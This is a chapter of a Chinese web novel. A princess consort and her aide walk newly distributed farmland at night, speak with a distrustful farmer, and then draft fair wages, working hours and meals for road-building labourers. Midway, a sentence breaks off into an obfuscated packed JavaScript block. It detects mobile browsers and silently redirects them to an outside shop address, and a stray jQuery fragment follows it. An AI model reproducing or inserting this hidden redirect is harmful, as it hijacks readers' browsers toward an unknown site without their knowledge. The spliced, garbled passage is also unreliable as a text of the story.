成片的土地被精准地划分,一块块木牌插在土地上,昭示着这一片是谁的地。
第一天的分地从辰时开始,至子时才结束,原本定的时间因为那些百姓渴望的眼神一推再推,一迟再迟,谁也不知道,第二天会发生什么,他们生怕自己会是那个分不到地的倒霉蛋。
人群散去之后,慕衷情带着司岳来到田间,司岳不解地问:“王妃,今日之事已然结束,您这是来?”
慕衷情笑容满面地说:“来看看成果。”
说着,她在田垄上蹲下,司岳也学着她的样子蹲在旁边,试图从她视角里看到“成果”。
过了一会儿,慕衷情问道:“你听到什么了吗?”
司岳认真地听着,风声中似乎夹杂着些许幽幽的哭声与笑声。
“这是有人在哭?”
慕衷情拨弄着眼前已经青绿的水稻,纠正道:“也有人在笑。”
司岳疑惑:“这便是王妃所说的成果吗?”
慕衷情起身,伸手将司岳也拉了起来,继续往里走,很快,她们便看到了今日才插在地里的,写着名字的木牌。
还有坐在木牌旁的男人。
“诶?那是谁?怎么这么晚了还待在地里?”司岳看看那人又看看慕衷情,有些茫然地问,“王妃,您不会就是来见这个人的吧?”
慕衷情敲了下她脑袋:“你在想些什么乱七八糟的啊,你再周围看看。”
司岳闻言在四周跑来跑去,四处张望许久:“真是神奇了王妃,那儿好像也有个人靠着木牌坐着,他们这是在干什么呢?”
慕衷情拉着她的手腕:“过去问问不就知道了?”
司岳看向慕衷情的手,有些不好意思,但并没有抽回手,她知道,王妃并不在意身份地位,若是自己在意得太多,反倒惹她不快。
难怪王爷这么信任王妃,司岳高兴地想,因为王妃真的特别招人喜欢。
“老乡,这大晚上的,你不回家,在这儿干什么呢?”慕衷情上前,十分自来熟地问道。
那中年男人皮肤黝黑,脸上都是风吹日晒的痕迹,他打量了一下慕衷情和司岳,两人都穿着男装,但并未做太多刻意的伪装,还是能认出来是女子。
“你们两个女娃娃怎么这么晚了还不回家,我家今儿个可是分到了地,我得守着先,可不能明早起来又被别人抢了去。”中年男人十分兴奋地答道,只是开心中又带了些忐忑不安,毕竟这对他来说,实在是天上掉馅饼的事情,即便真的分了地,也依然觉得难以置信。
慕衷情蹲下顺手从田垄旁拔了根野草,在手中绕来绕去地玩:“这不是官家给分的地吗?怎么还怕被人抢去啊?难不成,还有哪家老爷敢违背王妃的命令?这不是不要命了嘛。”
男人没察觉出什么,顺口答道:“那可不好说,谁知道往后还有什么变数,以往那些人欺负我们,也不见官府来帮一把。”
司岳闻言,急忙出声辩解:“可是那些家伙不都已经在菜市口被斩首示众了吗?”
男人摸着木牌,悠悠道:“谁知道会不会有新的大人出来,或是又要这儿加一点税,那儿加一点儿税。”
“既是这般,你又为何要守着这块地?”慕衷情问道。
男人沉默不语,至少现在,这块地就是他对往后生活的最大念想。
“既然有了地,那便要好好耕耘,若是往后官府要修灌溉渠,你可愿意?”慕衷情试探道。
男人忽然警惕地看向慕衷情:“你是官府的人?”
慕衷情没想到他的戒备这么强,一时也不知该回答是或不是,虽说她进行了分地一事,百姓对这位王妃很是感激,可对于普通百姓来说,要信任官府的人,恐怕还需要一段时间。
她无法强求,但已经了解了答案。
“希望今年的夏秋,不要有太大的风和雨吧。”慕衷情牛头不对马嘴地这么说了一句,反而说进了那男人的心里。
“希望今年是个丰收年。”他再次望向木牌上的字,虽然他并不识字,但他今日问过,那上面写着的是他的名字,于是他一遍又一遍在心里描摹,强行记住了字的模样。
慕衷情起身,往来时的路回去,走出一段距离后,司岳问道:“王妃,您找到那个成果了吗?”
“你不是也听到了吗?他们还是不信任官府。”慕衷情叹道,“若是受到不公,他们仍然会选择报官,可惜,那只是因为这是他们唯一的出路,不是因为他们相信官府会还他们一个公平。”
司岳笑了一声:“王妃,别说他们了,就是我,也是不信的。”
司岳原本的家并不算贫穷,但他的父母和所有人一样,从来不肯多听听她的心里话,也从来不会去在意她的选择。
所以司岳逃了,她不愿意嫁给一个素未谋面的人,去过既定已知的深门里无声的一生。
那时的她不过十五岁,孤身一人,不知往何处去,遇到过抢她钱财食物的,也碰见过拍花子,想把她抓走卖了。
为此,她报官求助,但因为她只是一介弱女子,官府也不愿为她花太多心力抓捕盗贼,至于拍花子,那自然已经打点好了当地势力,若非她拼死逃出,怕是又要进了另一个魔窟。
她有反叛之心,却还未曾强大到能够保护好自己,她有自我之意,却不够彻底,可哪怕是最无望的时刻,她都在想,凭什么像她这般普通的女子,就不能选择想要的生活?
“就是因为不可信的人太多,所以当我们处在这样的位置上时,才不能忘了当时求助无门的自己。”慕衷情没有去详细询问她为什么抗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399801|134766||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
拒官府,若是司岳想倾诉,她可以当一个好听众,但很明显,目前的司岳并不打算提太多过往。
司岳听到慕衷情的这句话,蓦然顿住脚步,看向慕衷情的目光变得十分复杂,还隐隐夹杂着探究。
她说:“王妃,您有时说的话,真不像是从京都高门而来的千金。”
慕衷情对此倒是坦然:“或许我真的不是呢?”
司岳一惊,但随即想到若非高门之女,又怎能有这般才学,便当慕衷情只是开玩笑,没有再提。
舟安人口众多,他们足足花了一个月的时间,才将分地的事宜完成。
借着这个势头,慕衷情让之前那些工匠们将做好的新农具分发给部分农户进行试用,七日后统一回收体验感受和建议,以便进行改良后推广。
因为是刚刚分完地,又是免费试用,农户们倒是很踊跃地参与,这件事没有遇到阻力,毕竟大家都知道,若真有更好的工具发明出来,对他们都有好处。
那么接下来的问题,就是修水渠和修路了,慕衷情思来想去,目前的人心凝聚力还没有达到她的要求,因此,她要先修路,路通了,做其他事都会方便很多。
但问题也来了,修路需要大量的劳动力,如今已是夏末,等秋日到来,便要进入收获的时节。
秋收是万万不能破坏的。
慕衷情看着他们送上来的图纸,一个头两个大,她已经明显感觉到自己做这些事很吃力了,首先,她连图纸都看不懂。
可这事已经开了头,慕衷情捏着笔杆,不停地告诉自己不能放弃。
很快,慕衷情便想到了解决办法,她不懂,那就去找一个懂的人去主持大局。
前提是,她要规划好流程,尤其是在钱财的使用上,无论是工具、材料还是人工,都不是一笔小费用。
等经过层层盘剥,谁知道还能剩下多少给徭役们。
慕衷情把笔杆子都咬出了牙印,制定了每个徭役的工钱,以月为一个周期结算,每月初一进行发放,而后定下工作时间,每日开工时间不得早于辰时,下工时间不得晚于酉时,遇危险天气,如暴雨、大风、雷电等情况,需停工保证所有人安全。
而后她还加上,每月休息不得少于六日,餐食包午餐和晚餐,以每人一碗米饭、一荤二素加一汤为标准,不得克扣。
洋洋洒洒地写了好几张纸后,慕衷情终于想不出另外需要补充的注意事项,于是她将这些内容交给蔡书霖,询问他的看法。
蔡书霖看完后思索良久,只说了一句话:“升米恩斗米仇,自古唯有恩威并施,方能得安稳,王妃若只想得人心,不必做到这一步。”
慕衷情没有生气,十分平静地反问:“难道在蔡大人的眼里,爱民,为善,都只是为了得人心吗?”